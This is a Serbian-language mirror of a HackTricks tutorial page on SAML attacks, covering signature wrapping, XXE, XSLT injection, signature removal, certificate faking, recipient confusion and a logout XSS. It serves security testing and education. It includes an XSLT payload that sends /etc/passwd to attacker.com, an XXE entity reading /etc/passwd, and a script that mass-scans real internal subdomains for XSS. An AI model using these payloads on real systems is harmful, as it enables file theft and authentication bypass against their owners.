mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
290 lines
16 KiB
Markdown
290 lines
16 KiB
Markdown
# SAML Attacks
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Osnovne informacije
|
|
|
|
|
|
{{#ref}}
|
|
saml-basics.md
|
|
{{#endref}}
|
|
|
|
## Alat
|
|
|
|
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Alat koji može uzeti URL ili listu URL-ova i vratiti SAML consume URL.
|
|
|
|
## XML povratna veza
|
|
|
|
U XML-u, potpisani deo XML-a se čuva u memoriji, zatim se vrši neka kodiranje/dekodiranje i potpis se proverava. Idealno, to kodiranje/dekodiranje ne bi trebalo da menja podatke, ali na osnovu tog scenarija, **proveravani podaci i originalni podaci ne mogu biti isti**.
|
|
|
|
Na primer, proverite sledeći kod:
|
|
```ruby
|
|
require 'rexml/document'
|
|
|
|
doc = REXML::Document.new <<XML
|
|
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
|
|
<X>
|
|
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
|
</X>
|
|
XML
|
|
|
|
puts "First child in original doc: " + doc.root.elements[1].name
|
|
doc = REXML::Document.new doc.to_s
|
|
puts "First child after round-trip: " + doc.root.elements[1].name
|
|
```
|
|
Pokretanje programa protiv REXML 3.2.4 ili ranijeg rezultiraće sledećim izlazom umesto toga:
|
|
```
|
|
First child in original doc: Y
|
|
First child after round-trip: Z
|
|
```
|
|
Ovo je kako je REXML video originalni XML dokument iz gornjeg programa:
|
|
|
|
.png>)
|
|
|
|
I ovo je kako ga je video nakon obrade i serijalizacije:
|
|
|
|
.png>)
|
|
|
|
Za više informacija o ranjivosti i kako je iskoristiti:
|
|
|
|
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
|
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
|
|
|
## XML Signature Wrapping Attacks
|
|
|
|
U **XML Signature Wrapping napadima (XSW)**, protivnici koriste ranjivost koja nastaje kada se XML dokumenti obrađuju kroz dve različite faze: **validacija potpisa** i **poziv funkcije**. Ovi napadi uključuju menjanje strukture XML dokumenta. Konkretno, napadač **ubacuje lažne elemente** koji ne kompromituju validnost XML potpisa. Ova manipulacija ima za cilj da stvori razliku između elemenata koje analizira **aplikaciona logika** i onih koje proverava **modul za verifikaciju potpisa**. Kao rezultat, dok XML potpis ostaje tehnički validan i prolazi verifikaciju, aplikaciona logika obrađuje **lažne elemente**. Kao posledica, napadač efikasno zaobilazi **zaštitu integriteta** i **autentifikaciju porekla** XML potpisa, omogućavajući **ubacivanje proizvoljnog sadržaja** bez otkrivanja.
|
|
|
|
Sledeći napadi se zasnivaju na [**ovom blog postu**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **i** [**ovoj studiji**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Zato proverite te izvore za dodatne detalje.
|
|
|
|
### XSW #1
|
|
|
|
- **Strategija**: Dodaje se novi korenski element koji sadrži potpis.
|
|
- **Implikacija**: Validator može biti zbunjen između legitimnog "Response -> Assertion -> Subject" i napadačevog "zlog novog Response -> Assertion -> Subject", što dovodi do problema sa integritetom podataka.
|
|
|
|
.png>)
|
|
|
|
### XSW #2
|
|
|
|
- **Razlika od XSW #1**: Koristi odvojeni potpis umesto obavijenog potpisa.
|
|
- **Implikacija**: "Zla" struktura, slična XSW #1, ima za cilj da prevari poslovnu logiku nakon provere integriteta.
|
|
|
|
.png>)
|
|
|
|
### XSW #3
|
|
|
|
- **Strategija**: Kreira se zla Assertion na istom hijerarhijskom nivou kao originalna assertion.
|
|
- **Implikacija**: Ima za cilj da zbuni poslovnu logiku da koristi maliciozne podatke.
|
|
|
|
.png>)
|
|
|
|
### XSW #4
|
|
|
|
- **Razlika od XSW #3**: Originalna Assertion postaje dete duplicirane (zle) Assertion.
|
|
- **Implikacija**: Slično XSW #3, ali agresivnije menja XML strukturu.
|
|
|
|
.png>)
|
|
|
|
### XSW #5
|
|
|
|
- **Jedinstveni aspekt**: Ni potpis ni originalna Assertion ne pridržavaju se standardnih konfiguracija (obavijen/obavijajući/odvojeni).
|
|
- **Implikacija**: Kopirana Assertion obavija potpis, menjajući očekivanu strukturu dokumenta.
|
|
|
|
.png>)
|
|
|
|
### XSW #6
|
|
|
|
- **Strategija**: Slična lokacijska umetanja kao XSW #4 i #5, ali sa preokretom.
|
|
- **Implikacija**: Kopirana Assertion obavija potpis, koji zatim obavija originalnu Assertion, stvarajući ugnježdenu obmanjujuću strukturu.
|
|
|
|
.png>)
|
|
|
|
### XSW #7
|
|
|
|
- **Strategija**: Element Extensions se umetne sa kopiranom Assertion kao detetom.
|
|
- **Implikacija**: Ovo koristi manje restriktivnu šemu elementa Extensions da zaobiđe mere validacije šeme, posebno u bibliotekama kao što je OpenSAML.
|
|
|
|
.png>)
|
|
|
|
### XSW #8
|
|
|
|
- **Razlika od XSW #7**: Koristi drugi manje restriktivni XML element za varijantu napada.
|
|
- **Implikacija**: Originalna Assertion postaje dete manje restriktivnog elementa, preokrećući strukturu korišćenu u XSW #7.
|
|
|
|
.png>)
|
|
|
|
### Alat
|
|
|
|
Možete koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) da parsirate zahtev, primenite bilo koji XSW napad koji odaberete i pokrenete ga.
|
|
|
|
## XXE
|
|
|
|
Ako ne znate koji su to napadi XXE, molimo vas da pročitate sledeću stranicu:
|
|
|
|
{{#ref}}
|
|
../xxe-xee-xml-external-entity.md
|
|
{{#endref}}
|
|
|
|
SAML odgovori su **deflacionirani i base64 kodirani XML dokumenti** i mogu biti podložni napadima XML External Entity (XXE). Manipulacijom XML strukture SAML odgovora, napadači mogu pokušati da iskoriste XXE ranjivosti. Evo kako se takav napad može vizualizovati:
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [
|
|
<!ELEMENT foo ANY >
|
|
<!ENTITY file SYSTEM "file:///etc/passwd">
|
|
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
|
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
|
<saml:Issuer>...</saml:Issuer>
|
|
<ds:Signature ...>
|
|
<ds:SignedInfo>
|
|
<ds:CanonicalizationMethod .../>
|
|
<ds:SignatureMethod .../>
|
|
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
|
</ds:SignedInfo>
|
|
<ds:SignatureValue>...</ds:SignatureValue>
|
|
[...]
|
|
```
|
|
## Alati
|
|
|
|
Možete koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) za generisanje POC-a iz SAML zahteva kako biste testirali moguće XXE ranjivosti i SAML ranjivosti.
|
|
|
|
Pogledajte i ovaj govor: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
|
|
|
## XSLT putem SAML
|
|
|
|
Za više informacija o XSLT idite na:
|
|
|
|
{{#ref}}
|
|
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
|
{{#endref}}
|
|
|
|
Ekstenzibilne transformacije stilskih jezika (XSLT) mogu se koristiti za transformaciju XML dokumenata u različite formate kao što su HTML, JSON ili PDF. Ključno je napomenuti da se **XSLT transformacije vrše pre verifikacije digitalnog potpisa**. To znači da napad može biti uspešan čak i bez važećeg potpisa; samopotpisani ili nevažeći potpis je dovoljan za nastavak.
|
|
|
|
Ovde možete pronaći **POC** za proveru ovakvih ranjivosti, na hacktricks stranici pomenutoj na početku ovog odeljka možete pronaći payload-e.
|
|
```xml
|
|
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
|
|
...
|
|
<ds:Transforms>
|
|
<ds:Transform>
|
|
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
<xsl:template match="doc">
|
|
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
|
|
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
|
|
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
|
|
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
|
|
<xsl:value-of select="unparsed-text($exploitUrl)"/>
|
|
</xsl:template>
|
|
</xsl:stylesheet>
|
|
</ds:Transform>
|
|
</ds:Transforms>
|
|
...
|
|
</ds:Signature>
|
|
```
|
|
### Alat
|
|
|
|
Možete takođe koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) za generisanje POC-a iz SAML zahteva kako biste testirali moguće XSLT ranjivosti.
|
|
|
|
Pogledajte takođe ovaj govor: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
|
|
|
## Isključenje XML potpisa <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
|
|
|
**Isključenje XML potpisa** posmatra ponašanje SAML implementacija kada element Potpis nije prisutan. Ako je ovaj element nedostajući, **verifikacija potpisa možda neće biti izvršena**, što ga čini ranjivim. Moguće je testirati ovo menjajući sadržaj koji se obično verifikuje potpisom.
|
|
|
|
.png>)
|
|
|
|
### Alat <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
|
|
|
|
Možete takođe koristiti Burp ekstenziju [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Presretnite SAML odgovor i kliknite `Remove Signatures`. Na taj način **svi** elementi potpisa se uklanjaju.
|
|
|
|
Sa uklonjenim potpisima, dozvolite zahtevu da nastavi ka cilju. Ako potpis nije potreban od strane Servisa
|
|
|
|
## Lažiranje sertifikata <a href="#certificate-faking" id="certificate-faking"></a>
|
|
|
|
## Lažiranje sertifikata
|
|
|
|
Lažiranje sertifikata je tehnika za testiranje da li **Provajder usluga (SP) pravilno verifikuje da je SAML poruka potpisana** od strane pouzdane Identitetske provajder (IdP). Uključuje korišćenje \***samo-potpisanog sertifikata** za potpisivanje SAML odgovora ili potvrde, što pomaže u evaluaciji procesa verifikacije poverenja između SP i IdP.
|
|
|
|
### Kako sprovesti lažiranje sertifikata
|
|
|
|
Sledeći koraci opisuju proces korišćenja [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp ekstenzije:
|
|
|
|
1. Presretnite SAML odgovor.
|
|
2. Ako odgovor sadrži potpis, pošaljite sertifikat u SAML Raider Certs koristeći dugme `Send Certificate to SAML Raider Certs`.
|
|
3. U SAML Raider Certificates tabu, izaberite uvezeni sertifikat i kliknite `Save and Self-Sign` da biste kreirali samo-potpisanu kopiju originalnog sertifikata.
|
|
4. Vratite se na presretnuti zahtev u Burp-ovom Proxy-ju. Izaberite novi samo-potpisani sertifikat iz XML Signature padajuće liste.
|
|
5. Uklonite sve postojeće potpise pomoću dugmeta `Remove Signatures`.
|
|
6. Potpišite poruku ili potvrdu novim sertifikatom koristeći dugme **`(Re-)Sign Message`** ili **`(Re-)Sign Assertion`**, kako odgovara.
|
|
7. Prosledite potpisanu poruku. Uspešna autentifikacija ukazuje da SP prihvata poruke potpisane vašim samo-potpisanim sertifikatom, otkrivajući potencijalne ranjivosti u procesu verifikacije SAML poruka.
|
|
|
|
## Zbunjenost primaoca tokena / Zbunjenost cilja provajdera usluga <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
|
|
|
Zbunjenost primaoca tokena i Zbunjenost cilja provajdera usluga uključuju proveru da li **Provajder usluga pravilno verifikuje nameravanog primaoca odgovora**. U suštini, Provajder usluga bi trebao odbiti odgovor na autentifikaciju ako je bio namenjen drugom provajderu. Ključni element ovde je polje **Recipient**, koje se nalazi unutar elementa **SubjectConfirmationData** SAML odgovora. Ovo polje specificira URL koji ukazuje gde potvrda mora biti poslata. Ako stvarni primalac ne odgovara nameravanom Provajderu usluga, potvrda bi trebala biti smatrana nevažećom.
|
|
|
|
#### **Kako to funkcioniše**
|
|
|
|
Da bi napad na SAML Zbunjenost primaoca tokena (SAML-TRC) bio izvodljiv, određeni uslovi moraju biti ispunjeni. Prvo, mora postojati važeći nalog na Provajderu usluga (nazvanom SP-Legit). Drugo, ciljani Provajder usluga (SP-Target) mora prihvatati tokene od iste Identitetske provajder koja služi SP-Legit.
|
|
|
|
Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem zajedničkog Identitetskog provajdera. SAML odgovor od Identitetskog provajdera ka SP-Legit se presreće. Ovaj presretnuti SAML odgovor, prvobitno namenjen SP-Legit, se zatim preusmerava ka SP-Target. Uspeh u ovom napadu meri se time što SP-Target prihvata potvrdu, omogućavajući pristup resursima pod istim imenom naloga korišćenim za SP-Legit.
|
|
```python
|
|
# Example to simulate interception and redirection of SAML Response
|
|
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
|
"""
|
|
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
|
|
|
Args:
|
|
- saml_response: The SAML Response intercepted (in string format).
|
|
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
|
|
|
Returns:
|
|
- status: Success or failure message.
|
|
"""
|
|
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
|
try:
|
|
# Code to send the SAML Response to SP-Target would go here
|
|
return "SAML Response successfully redirected to SP-Target."
|
|
except Exception as e:
|
|
return f"Failed to redirect SAML Response: {e}"
|
|
```
|
|
## XSS u funkcionalnosti odjave
|
|
|
|
Originalno istraživanje može se pristupiti preko [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
|
|
|
|
Tokom procesa brute force napada na direktorijume, otkrivena je stranica za odjavu na:
|
|
```
|
|
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
|
```
|
|
Kada je pristupljeno ovom linku, došlo je do preusmeravanja na:
|
|
```
|
|
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
|
```
|
|
Ovo je otkrilo da `base` parametar prihvata URL. Uzimajući to u obzir, pojavila se ideja da se URL zameni sa `javascript:alert(123);` u pokušaju da se pokrene XSS (Cross-Site Scripting) napad.
|
|
|
|
### Masovno Eksploatisanje
|
|
|
|
[Iz ove studije](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
|
|
|
Alat [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) korišćen je za analizu poddomena `uberinternal.com` za domene koji koriste istu biblioteku. Nakon toga, razvijen je skript koji cilja stranicu `oidauth/prompt`. Ovaj skript testira XSS (Cross-Site Scripting) unosom podataka i proverava da li se oni odražavaju u izlazu. U slučajevima kada se unos zaista odražava, skript označava stranicu kao ranjivu.
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
from colorama import init ,Fore, Back, Style
|
|
init()
|
|
|
|
with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
|
for url in urlList:
|
|
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
|
|
request = requests.get(url2, allow_redirects=True,verify=False)
|
|
doesit = Fore.RED + "no"
|
|
if ("Fady" in request.content):
|
|
doesit = Fore.GREEN + "yes"
|
|
print(Fore.WHITE + url2)
|
|
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
|
```
|
|
## Reference
|
|
|
|
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
|
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
|
|
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
|
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|